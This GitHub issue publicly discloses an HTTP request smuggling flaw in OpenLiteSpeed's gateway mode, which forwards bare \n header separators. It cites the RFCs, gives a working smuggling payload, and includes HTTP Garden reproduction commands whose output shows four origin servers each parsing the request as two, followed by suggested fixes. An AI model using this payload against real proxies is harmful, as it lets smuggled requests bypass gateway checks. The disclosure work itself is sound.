Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OLS is vulnerable to request smuggling via forwarding \n without normalization to \r\n. #394

Open
kenballus opened this issue Jun 25, 2024 · 1 comment

Comments

@kenballus
Copy link

I reported this privately in 2023, and was told "we do not feel it need to be fixed, as it is valid HTTP request, it is the backend responsibility to properly handle it."

I now report it publicly :)

Overview

When OLS is acting as a gateway, and it receives an HTTP request that uses a \n alone (i.e., not \r\n) to separate headers, it forwards the \n without normalizing it to \r\n. This is prohibited by the RFCs, and is usable to execute request smuggling attacks when OLS is acting as a gateway for certain origin servers.

OLS's behavior

OLS, when acting as a gateway, will transform request $A$ into request $B$:

Request $A$ (the incoming request to OLS)

GET / HTTP/1.1\n
Host: whatever\n
Test: test\n
\n

Request $B$ (the outgoing request from OLS)

GET / HTTP/1.1\n
Host: whatever\r\n
Test: test\n
X-Forwarded-Host: <some ip>\r\n
Accept-Encoding: gzip\r\n
X-Forwarded-For: <some ip>\r\n
\r\n

Notice the bare \n after the request line and Test header.

How this violates the RFCs

The RFC 9112 grammar requires CRLF line endings:

HTTP-message = start-line CRLF *( field-line CRLF ) CRLF [ message-body ]

RFC 9110 Section 2.2 says this:

A sender MUST NOT generate protocol elements that do not match the grammar defined by the corresponding ABNF rules.

Thus, it is a violation of the standard for OLS to forward a header delimited by \n alone when acting as a gateway.

It's worth noting that RFC 9112 allows a recipient to choose to accept messages with \n instead of \r\n. This does not extend to senders.

How this can be exploited

Some origin servers allow \n within header values. Thus, if you send a Content-Length header that is separated from the previous header with only \n, that Content-Length header will be visible to OLS but not processed by the origin server.

For a concrete example, consider the following payload:

POST / HTTP/1.1\r\n
Host: whatever\r\n
Test: a\n
Content-Length: 38\r\n
\r\n
GET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n

If you send this payload through an OLS gateway, it sees one request, with a 38-byte message body.

When the gateway forwards this, the origin server sees two requests, because the value of the Test header is interpreted as a\nContent-Length: 38, so no Content-Length header is found. This second request was never validated by the gateway (i.e., it was smuggled).

This can be reproduced using the HTTP Garden with the following sequence of commands:

garden> # Don't automatically update the host header
garden> adjust_host off
garden> # Select the affected origin servers
garden> servers daphne gunicorn uhttpd openbsd_httpd
garden> # Set the payload
garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Run the payload through the OLS gateway
garden> transduce openlitespeed_proxy
[1]: 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
    ⬇️ openlitespeed_proxy
[2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Send the result to the origin servers
garden> fanout
daphne: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'host', b'whatever'),
            (b'test', b'a Content-Length: 38'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/evil', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
gunicorn: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept_encoding', b'gzip'),
            (b'host', b'whatever'),
            (b'test', b'a\nContent-Length: 38'),
            (b'x_forwarded_for', b'192.168.48.1'),
            (b'x_forwarded_host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/evil', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
uhttpd: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'host', b'whatever'),
            (b'test', b'a\nContent-Length: 38'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/evil', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
openbsd_httpd: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'host', b'whatever'),
            (b'test', b'a\nContent-Length: 38'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/evil', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]

It's clear from the output that these four origin servers all see two requests where OLS sees only one.

Suggested fix

OLS should implement one of the following in order to comply with the RFCs and fix the issue:

  1. When acting as a gateway, normalize \n into \r\n before forwarding headers.
  2. When acting as a gateway, reject messages with \n line endings.
@kenballus
Copy link
Author

One small update, just to drive the point home:

Notice that though Daphne is one of the affected origin servers, it's still in compliance with the RFCs, because the RFCs permit recipients to replace bare LF with SP before processing. This is what Daphne does.

It's not reasonable to expect the backend to handle bare LFs the same way that OLS does because the RFCs allow more than one valid interpretation of bare LF-separated headers. Bare LF is inherently ambiguous, which is why a gateway MUST normalize LF to CRLF.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant